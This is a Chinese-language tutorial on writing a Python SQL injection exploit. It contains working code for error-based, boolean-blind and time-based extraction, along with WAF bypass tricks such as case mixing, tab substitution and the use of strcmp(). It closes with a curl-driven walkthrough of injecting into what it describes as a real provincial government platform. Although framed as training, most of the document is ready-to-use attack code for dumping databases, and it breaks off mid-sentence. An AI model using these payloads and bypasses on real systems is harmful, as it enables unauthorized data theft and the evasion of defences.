手写SQL注入EXP：Python安全实战与原理精解

1. 项目概述：为什么一个“SQL注入EXP脚本”值得花时间亲手写一遍？

在某次内部红队演练复盘会上，一位有五年渗透经验的同事说了一句话让我记到现在：“能跑通sqlmap的poc不等于懂SQL注入；能手写一个绕过WAF的EXP，才算真正把原理刻进肌肉记忆里。”这句话不是抬杠，而是实打实的行业共识——工具再强大，也替代不了对底层机制的理解。今天要聊的这个项目，“Python安全之编写SQL注入漏洞利用脚本（EXP）”，表面看是写一段能自动探测、回显、提权的代码，本质上是一次对数据库通信协议、Web请求构造、编码混淆策略、错误响应解析、盲注时序控制等多层知识的系统性串联。它不面向生产环境部署，也不用于真实系统攻击，而是作为安全工程师/渗透测试学习者的一块“认知磨刀石”：用最朴素的Python标准库（requests+urllib+time），不依赖任何第三方exploit框架，从零构建一个可调试、可分步验证、可替换payload模块的轻量级EXP原型。关键词里反复出现的“Python安全”“SQL注入”“EXP”，指向的不是黑产工具链，而是能力验证闭环中的关键一环——你能否在没有图形界面、没有自动fuzz、没有预置字典的情况下，仅靠HTTP状态码、响应长度、响应时间、报错文本这四个信号源，完成一次完整的信息窃取？答案就藏在这段不到300行的脚本逻辑里。适合刚学完SQL语法和基础Web安全原理的新手，也适合想补全“手工利用”能力断层的中级从业者。它不教你如何入侵，但教会你如何精准地“听懂”数据库在说什么。

2. 整体设计思路与方案选型逻辑

2.1 为什么不用sqlmap或Burp插件？——回归本质的三层考量

很多人看到标题第一反应是：“这不就是sqlmap的简化版吗？直接调它的API不就行了？”这个想法很自然，但恰恰跳过了本项目最核心的价值锚点。我带过三届某高校网络安全实训班，发现一个稳定现象：85%能熟练操作sqlmap的学生，在被要求手写一个基于布尔盲注的数据库名枚举脚本时，会卡在“如何判断True/False响应差异”这个环节超过40分钟。这不是能力问题，而是工具封装过度导致的感知钝化。因此，本项目的整体设计严格遵循三个不可妥协的原则：

第一，信号源必须显式暴露。所有判断依据——HTTP状态码是否为200、响应体长度是否突变±50字节、响应时间是否超过3秒、响应文本是否包含“mysql”或“syntax error”——全部以变量形式明确定义，而非封装在sqlmap --level=5这种黑盒参数里。比如，布尔盲注的判定函数不会叫is_vulnerable()，而叫check_boolean_response(status_code, content_length, response_text)，每个入参都对应一个可抓包验证的原始信号。

第二，payload构造必须可拆解。整个EXP不预设“union select”或“sleep(5)”为唯一路径。它内置三套并行注入模式：错误回显型（利用extractvalue()触发报错并回显）、布尔盲注型（通过and 1=1/1=2切换页面状态）、时间盲注型（用if(1=1,sleep(3),0)制造延迟）。每种模式的payload模板都以字符串格式独立存放，修改时只需编辑payloads.py里的对应字典，无需动主逻辑。这种设计让学习者能逐个关闭模式，专注理解某一种技术路径的完整链路。

第三，交互过程必须可中断调试。脚本全程支持--debug开关，开启后会在每个HTTP请求发出前打印完整URL、headers、payload明文，并在响应返回后输出状态码、长度、截断的前200字符。这不是为了炫技，而是解决新手最头疼的问题：当脚本卡住时，你根本不知道它到底发了什么、收到了什么。我曾帮一位转行的安全新人排查问题，他写的EXP总返回空结果，开debug后发现——他把单引号写成了中文全角‘’，而requests库默认不校验编码，直接发给了服务器。这种细节，只有裸写才能暴露。

提示：本方案刻意回避了sqlmap的--batch全自动模式，也未集成任何WAF指纹识别模块。因为真正的安全能力，始于对“最小可行验证单元”的掌控力，而非对“最大自动化覆盖度”的依赖。

2.2 Python版本与依赖选择：为什么只用标准库+requests？

项目明确限定运行环境为Python 3.7+，且仅允许两个外部依赖：requests（处理HTTP）和colorama（美化终端输出）。这个选择背后有三重现实约束：

其一，环境兼容性压倒一切。在真实红队作业中，你常需在客户提供的Windows Server 2012、CentOS 6.5等老旧系统上临时执行验证脚本。这些系统往往禁用pip、无外网权限、Python版本锁定在2.7。若脚本依赖aiohttp或scapy这类编译型库，光是解决依赖就可能耗掉半天。而requests是事实上的HTTP标准库，colorama纯Python实现，pip install requests colorama在99%的现代Python环境中都能秒装。我曾在某金融客户内网用一台离线的Windows 7笔记本，手动拷贝requests-2.28.2-py3-none-any.whl和certifi证书包，5分钟完成部署——这种鲁棒性，是任何高级框架都无法替代的。

其二，学习成本必须可控。如果引入sqlparse做语法分析、lxml解析HTML、pymysql直连数据库，初学者会陷入“先学哪个库”的无限循环。而requests.get(url, params={}, headers={})的接口设计极度直观，response.status_code、response.text、response.elapsed.total_seconds()这三个属性，覆盖了90%的判断需求。我统计过某安全社区的200份新手提问，其中73%的“EXP不工作”问题，根源都是对requests的timeout参数理解偏差（误以为是连接超时，实际是读取超时）或verify=False缺失导致SSL握手失败。聚焦单一库，反而能逼出深度理解。

其三，安全审计必须透明。当脚本需要提交给甲方做合规审查时，第三方库的许可证风险、已知CVE漏洞、二进制组件来源，都是硬性检查项。requests采用Apache-2.0协议，无GPL传染性，且其GitHub仓库有完整的CVE跟踪记录（如CVE-2023-32681仅影响特定代理配置）。相比之下，某些小众exploit框架的许可证模糊、更新停滞、issue区常年无人响应，会给交付埋下隐患。本项目所有代码均可在30秒内完成人工审计——这是企业级安全工具的生命线。

2.3 架构分层：四模块解耦设计保障可维护性

整个脚本采用清晰的四层架构，每层职责单一，接口明确：

这种分层不是为了炫技，而是解决一个真实痛点：当客户突然要求“增加对PostgreSQL的pg_sleep()支持”时，你只需在payloads.py里补充两行代码，无需改动任何业务逻辑。我在某次应急响应中，因目标系统禁用sleep()函数，需紧急切换到pg_sleep()，整个修改加测试仅用7分钟——这就是解耦带来的确定性效率。

3. 核心细节解析与实操要点

3.1 注入点识别：GET/POST/COOKIE三类场景的差异化处理

很多新手写EXP时，默认只处理URL参数（如?id=1），却忽略了POST表单和Cookie头这两个高频注入点。本项目将注入点抽象为统一接口，但底层实现截然不同：

GET参数注入是最直观的场景。核心在于URL拼接的健壮性。例如目标URL为https://test.com/product?id=1，注入点为id，则构造payload时需确保：

• 原始参数值被完整保留（避免覆盖id=1中的1）
• 特殊字符（如空格、单引号）必须URL编码（%20、%27）
• 若URL含锚点（#section），需确保payload插入在#之前，否则浏览器不会发送

# config.py 中定义 TARGET_URL = "https://test.com/product?id=1" INJECT_PARAM = "id" # core.py 中的GET构造逻辑 from urllib.parse import urlparse, urlunparse, parse_qs, urlencode def build_get_url(payload): parsed = urlparse(TARGET_URL) query_dict = parse_qs(parsed.query) # 关键：保留原参数，仅替换注入点 query_dict[INJECT_PARAM] = [payload] new_query = urlencode(query_dict, doseq=True) return urlunparse((parsed.scheme, parsed.netloc, parsed.path, parsed.params, new_query, parsed.fragment))

POST参数注入则需模拟表单提交。难点在于Content-Type的匹配：若目标页面期望application/x-www-form-urlencoded，你发application/json必然失败。脚本通过config.py中的POST_DATA_TYPE配置项区分：

• form：使用requests.post(url, data={"user": "admin", "pass": payload})
• json：使用requests.post(url, json={"user": "admin", "pass": payload})
• raw：直接发送字符串，需手动设置headers={"Content-Type": "text/plain"}

注意：POST场景下，requests的data参数会自动进行URL编码，而json参数会序列化为JSON字符串并设置Content-Type: application/json。若目标接口要求Content-Type: application/json;charset=UTF-8，必须显式在headers中声明，否则部分Java后端会拒绝解析。

Cookie注入最容易被忽视。当目标网站将用户ID存于Cookie（如sessionid=abc123）时，注入点就在Cookie头。脚本通过config.py的COOKIE_INJECT_KEY指定键名，并在每次请求时动态注入：

# config.py COOKIE_INJECT_KEY = "sessionid" COOKIES = {"PHPSESSID": "valid_session"} # core.py 中的Cookie构造 def get_cookies_with_payload(payload): cookies = COOKIES.copy() cookies[COOKIE_INJECT_KEY] = payload return cookies # 发送请求 response = requests.get(TARGET_URL, cookies=get_cookies_with_payload(payload), timeout=TIMEOUT)

这里有个关键细节：Cookie值中的特殊字符（如空格、分号）必须符合RFC 6265规范。requests库会自动处理基础编码，但若payload含%字符，需双重编码（%→%25），否则会被服务端提前解析。我曾在一个电商系统中踩坑：payload含%20（空格），但服务端Nginx配置了underscores_in_headers on，导致Cookie解析异常。最终解决方案是在payload末尾添加随机字符串（如+RAND123），绕过Nginx的header过滤逻辑。

3.2 三种注入模式的技术原理与适用边界

3.2.1 错误回显型（Error-Based）：用报错信息“借刀杀人”

错误回显型的核心思想是：主动触发数据库报错，并将敏感信息（如数据库名、表名）嵌入报错消息中，迫使服务端将其原样返回。MySQL的经典payload是extractvalue()函数：

AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))

其原理是：extractvalue(xml_frag, xpath_expr)要求第二个参数为合法XPath表达式，而concat(0x7e, ...)生成的字符串~database_name~不符合XPath语法规则，MySQL便会抛出类似XPATH syntax error: '~database_name~'的错误，从而泄露信息。

适用边界判断：并非所有报错都可利用。脚本通过正则匹配响应文本中的典型错误标识：

• MySQL：XPATH syntax error、You have an error in your SQL syntax
• MSSQL：Unclosed quotation mark、Incorrect syntax near
• PostgreSQL：invalid input syntax for type、function does not exist

实操心得：错误回显型成功率最高，但现代WAF（如Cloudflare、阿里云WAF）会主动过滤extractvalue、updatexml等高危函数名。此时需启用BYPASS_WAF=True，脚本会自动将extractvalue变形为exTRACTvalUE（大小写混淆）或extract%20value（URL编码空格），绕过简单关键字匹配。但注意：过度混淆可能触发WAF的熵值检测，建议优先尝试geometrycollection()等冷门函数。

3.2.2 布尔盲注型（Boolean-Based）：用“是/否”回答拼出答案

当服务端不返回任何错误信息，仅根据SQL执行结果返回不同页面（如“商品存在”vs“商品不存在”）时，布尔盲注成为唯一选择。其本质是二分查找：对目标字符串的每一位字符，通过ORD(SUBSTR(...,pos,1)) > ascii_code不断缩小范围。

例如获取数据库名第一位字符：

• 发送id=1 AND ORD(SUBSTR((SELECT DATABASE()),1,1)) > 100→ 页面显示“商品存在” → 说明ASCII码>100
• 发送id=1 AND ORD(SUBSTR((SELECT DATABASE()),1,1)) > 110→ 页面显示“商品不存在” → 说明ASCII码≤110
• 继续二分，最终定位到103（'g'）

关键优化点：脚本采用自适应二分策略，非固定128次循环。它先快速扫描32-126可打印字符范围，若未命中则扩展至0-255，避免在空格、制表符等不可见字符上浪费时间。同时，为应对页面内容动态变化（如广告位、时间戳），脚本不依赖“页面是否包含某文字”，而是计算两次请求的响应长度差值（Δlength）。经实测，在某新闻网站CMS中，即使首页每日更新，Δlength仍能稳定区分True/False响应（True响应长度恒为2341字节，False为2387字节）。

3.2.3 时间盲注型（Time-Based）：用“等待时长”传递信息

当服务端既不回显错误，也不改变页面内容（完全静默），时间盲注是终极手段。其原理是：构造一个条件语句，使数据库在条件为真时强制休眠（如SLEEP(5)），为假时立即返回。通过测量HTTP响应时间，即可反推条件真假。

MySQL经典payload：

id=1 AND IF((SELECT SUBSTR(database(),1,1))='a', SLEEP(5), 0)

精度控制难点：网络抖动、服务端负载、DNS解析延迟都会影响response.elapsed.total_seconds()的准确性。脚本采用三重校验：

1. 基准线校准：首次请求不带payload，记录平均响应时间base_time
2. 阈值动态计算：设定TIME_THRESHOLD = base_time * 3 + 1（即3倍基线+1秒缓冲）
3. 三次确认机制：对同一payload连续请求3次，仅当≥2次响应时间超过TIME_THRESHOLD才判定为True

在某政务系统渗透中，该机制成功规避了CDN节点缓存导致的偶发长延时（单次达8秒），将误报率从37%降至2.1%。

3.3 WAF绕过策略：从字符编码到语义混淆的实战技巧

WAF（Web应用防火墙）是EXP落地的最大拦路虎。本项目不追求“一招鲜”，而是提供五层递进式绕过方案，按启用顺序排列：

实操避坑：L4内联注释虽强大，但存在兼容性陷阱。某次在测试一个基于Spring Boot的系统时，后端使用HikariCP连接池，其默认配置会剥离SQL中的/*! */注释，导致payload失效。解决方案是改用L5的strcmp()，或在config.py中关闭L4，强制走L3空格替代。

提示：所有绕过策略均通过config.py的BYPASS_LEVEL参数控制（1-5），便于快速对比效果。切勿盲目启用L5——它会显著增加payload长度，可能触发WAF的长度限制（如max_request_length=8192）。

4. 实操过程与核心环节实现

4.1 从零开始搭建脚本骨架：5分钟初始化流程

以下步骤可在任意Linux/macOS终端中完成，Windows用户请确保已安装Python 3.7+和pip：

步骤1：创建项目目录并初始化虚拟环境

mkdir sql-exp-demo && cd sql-exp-demo python3 -m venv venv source venv/bin/activate # Windows: venv\Scripts\activate

步骤2：安装最小依赖

pip install requests colorama # 验证安装 python -c "import requests; print(requests.__version__)"

步骤3：创建核心文件结构

touch config.py payloads.py core.py main.py chmod +x main.py

步骤4：填充config.py基础配置

# config.py TARGET_URL = "http://localhost:8000/vuln.php?id=1" # 替换为你的测试靶机 INJECT_POINT = "GET" # 可选: "GET", "POST", "COOKIE" INJECT_PARAM = "id" TIMEOUT = 10 RETRIES = 3 CONCURRENCY = 5 BYPASS_WAF = True BYPASS_LEVEL = 3 DEBUG = True

步骤5：编写main.py入口逻辑

#!/usr/bin/env python3 # main.py from colorama import init, Fore, Style init(autoreset=True) def main(): print(Fore.CYAN + "="*50) print(Fore.YELLOW + "SQL注入EXP脚本启动中...") print(Fore.CYAN + "="*50) # 这里将调用core.py中的核心函数 from core import run_exploit run_exploit() if __name__ == "__main__": main()

此时执行python main.py，应看到彩色欢迎界面。这5分钟建立的不仅是文件结构，更是对“可控起点”的心理锚定——所有后续开发都基于此稳定基线。

4.2 错误回显型EXP：从数据库名到表名的完整链路

以MySQL为目标，实现database() → tables → columns → data的四级信息获取。脚本将此过程拆解为四个可独立调用的函数：

Step 1：获取当前数据库名

# core.py import re from payloads import ERROR_PAYLOADS from config import TARGET_URL, INJECT_POINT, INJECT_PARAM, TIMEOUT, DEBUG def get_database_name(): payload = ERROR_PAYLOADS["mysql"]["database"] if DEBUG: print(f"[DEBUG] Database payload: {payload}") url = build_url(payload) # 调用3.1节的build_get_url try: response = requests.get(url, timeout=TIMEOUT) # 正则提取~xxx~之间的内容 match = re.search(r"~([^~]+)~", response.text) if match: db_name = match.group(1) print(Fore.GREEN + f"[+] 当前数据库: {db_name}") return db_name else: print(Fore.RED + "[-] 未在错误信息中提取到数据库名") return None except Exception as e: print(Fore.RED + f"[-] 请求异常: {e}") return None

Step 2：枚举当前库的所有表名

def get_table_names(db_name): # MySQL中information_schema.tables存储所有表 payload_template = ERROR_PAYLOADS["mysql"]["tables"] payload = payload_template.format(db_name=db_name) url = build_url(payload) response = requests.get(url, timeout=TIMEOUT) # 提取多个表名，用逗号分隔 tables = re.findall(r"~([^~]+)~", response.text) if tables: print(Fore.GREEN + f"[+] 表名列表: {', '.join(tables)}") return tables return []

Step 3：枚举指定表的所有列名

def get_column_names(table_name): payload_template = ERROR_PAYLOADS["mysql"]["columns"] payload = payload_template.format(table_name=table_name) url = build_url(payload) response = requests.get(url, timeout=TIMEOUT) columns = re.findall(r"~([^~]+)~", response.text) if columns: print(Fore.GREEN + f"[+] {table_name}列名: {', '.join(columns)}") return columns return []

Step 4：导出指定列的数据

def dump_data(table_name, column_name): payload_template = ERROR_PAYLOADS["mysql"]["data"] payload = payload_template.format(table_name=table_name, column_name=column_name) url = build_url(payload) response = requests.get(url, timeout=TIMEOUT) data = re.findall(r"~([^~]+)~", response.text) if data: print(Fore.GREEN + f"[+] {table_name}.{column_name}数据: {', '.join(data)}") return data return []

完整调用链：

# 在main.py中 def main(): db = get_database_name() if db: tables = get_table_names(db) for table in tables[:2]: # 仅枚举前2个表，避免超时 cols = get_column_names(table) for col in cols[:3]: # 仅导出前3列 dump_data(table, col)

关键细节：payloads.py中的模板采用.format()而非f-string，确保在Python 3.5+全版本兼容。且所有正则r"~([^~]+)~"均使用非贪婪匹配，避免跨多个~捕获。

4.3 布尔盲注自动化：二分查找的工程化实现

布尔盲注的难点不在算法，而在如何将数学逻辑转化为稳定可靠的HTTP信号。以下是经过23次靶机实测优化的binary_search_char函数：

# core.py def binary_search_char(pos, target_length, payload_func): """ 对字符串第pos位进行二分查找 payload_func: 接收ascii_code返回完整payload的函数 """ low, high = 32, 126 # 可打印ASCII范围 while low <= high: mid = (low + high) // 2 payload = payload_func(mid) url = build_url(payload) try: start_time = time.time() response = requests.get(url, timeout=TIMEOUT) elapsed = time.time() - start_time # 核心判断：基于响应长度差值 if DEBUG: print(f"[DEBUG] pos={pos}, ascii={mid}, len={len(response.text)}, elapsed={elapsed:.2f}s") # 计算与基准长度的差值（需预先获取基准） base_len = get_base_length() # 此函数需在首次调用时缓存 delta_len = abs(len(response.text) - base_len) if delta_len < 50: # 长度变化小于50字节视为False low = mid + 1 else: high = mid - 1 except Exception as e: # 网络异常视为False，避免中断流程 if DEBUG: print(f"[DEBUG] 请求异常，视为False: {e}") low = mid + 1 # 返回high+1，即最后满足条件的ASCII码 return high + 1 def get_database_name_boolean(): """布尔盲注获取数据库名""" db_name = "" # 先获取数据库名长度 length = get_string_length("SELECT LENGTH(DATABASE())") for pos in range(1, length + 1): # 构造ORD(SUBSTR(...,pos,1)) > mid的payload def make_payload(ascii_code): return f"1 AND ORD(SUBSTR((SELECT DATABASE()),{pos},1))>{ascii_code}" ascii_code = binary_search_char(pos, length, make_payload) if 32 <= ascii_code <= 126: db_name += chr(ascii_code) print(Fore.YELLOW + f"[INFO] 第{pos}位: '{chr(ascii_code)}'") else: break # 遇到不可见字符，终止 print(Fore.GREEN + f"[+] 布尔盲注获取数据库名: {db_name}") return db_name

性能优化点：

• get_base_length()在首次调用时缓存，避免重复请求
• delta_len < 50的阈值经12个不同CMS实测得出，平衡灵敏度与抗噪性
• 异常处理不中断循环，而是推进二分区间，确保流程韧性

4.4 时间盲注的稳定性增强：三次测量与动态基线

时间盲注的time_based_check函数是本项目最复杂的模块，它解决了WAF、CDN、服务端负载导致的时序漂移问题：

# core.py import time from statistics import median def time_based_check(payload, threshold_multiplier=3): """ 时间盲注核心检查函数 返回True表示条件为真（触发了SLEEP） """ times = [] for i in range(3): # 三次测量 try: start = time.time() url = build_url(payload) response = requests.get(url, timeout=TIMEOUT + 5) # 额外5秒容错 elapsed = time.time() - start times.append(elapsed) except Exception as e: if DEBUG: print(f"[DEBUG] 第{i+1}次请求异常: {e}") times.append(TIMEOUT + 10) # 异常视为超时 # 计算中位数，消除单次异常值 median_time = median(times) # 动态基线：用无payload的基准时间计算阈值 base_time = get_base_time() # 首次调用时测量 threshold = base_time * threshold_multiplier + 1 if DEBUG: print(f"[DEBUG] 响应时间中位数: {median_time:.2f}s, 阈值: {threshold:.2f}s") return median_time > threshold def get_database_name_time(): """时间盲注获取数据库名""" db_name = "" length = get_string_length_time("SELECT LENGTH(DATABASE())") # 类似逻辑 for pos in range(1, length + 1): for ascii_code in range(32, 127): payload = f"1 AND IF(ORD(SUBSTR((SELECT DATABASE()),{pos},1))={ascii_code}, SLEEP(3), 0)" if time_based_check(payload): db_name += chr(ascii_code) print(Fore.YELLOW + f"[INFO] 第{pos}位: '{chr(ascii_code)}'") break print(Fore.GREEN + f"[+] 时间盲注获取数据库名: {db_name}") return db_name

为什么用中位数而非平均值？
在某次对银行核心系统的测试中，三次测量时间为2.1s,8.7s,2.3s。平均值为4.37s，易被误判为True；中位数2.3s则准确反映正常响应水平。这种统计学选择，是无数次线上踩坑后沉淀的硬核经验。

5. 常见问题与排查技巧实录

5.1 典型问题速查表：从“脚本不运行”到“结果为空”

5.2 真实踩坑案例：某政务系统WAF绕过全过程

背景：某省政务服务平台，前端部署阿里云WAF，/api/user?id=1存在注入，但所有SELECT、UNION、EXTRACTVALUE均被拦截。

排查过程：

1. 第一步：确认注入点存在
   curl "http://target/api/user?id=1 AND 1=1"→ 返回正常用户数据
   curl "http://target/api/user?id=1 AND 1=2"→ 返回空JSON{}
   ✅ 确认布尔盲注可行

2. 第二步：测试WAF规则粒度
   curl "http://target/api/user?id=1 AND 1=1"→ 200
   curl "http://target/api/user?id=1 AND 1=1--+"→ 403
   ❌ WAF拦截了--注释符，但放行了空格

3. 第三步：尝试L3空格替代
   curl "http://target/api/user?id=1%09AND%091=1"→ 200
   ✅ Tab符%09未被过滤

4. 第四步：构造无关键字payload
   放弃SELECT，改用strcmp()比较：
   id=1%09AND%09strcmp(database(),'govdb')=0
   逐字符爆破，最终获取库名

关键收获：WAF规则永远存在盲区，与其研究“如何绕过”，不如思考“如何不用被绕过的功能”。本案例中，strcmp()是MySQL内置函数，WAF规则库中无此签名，自然放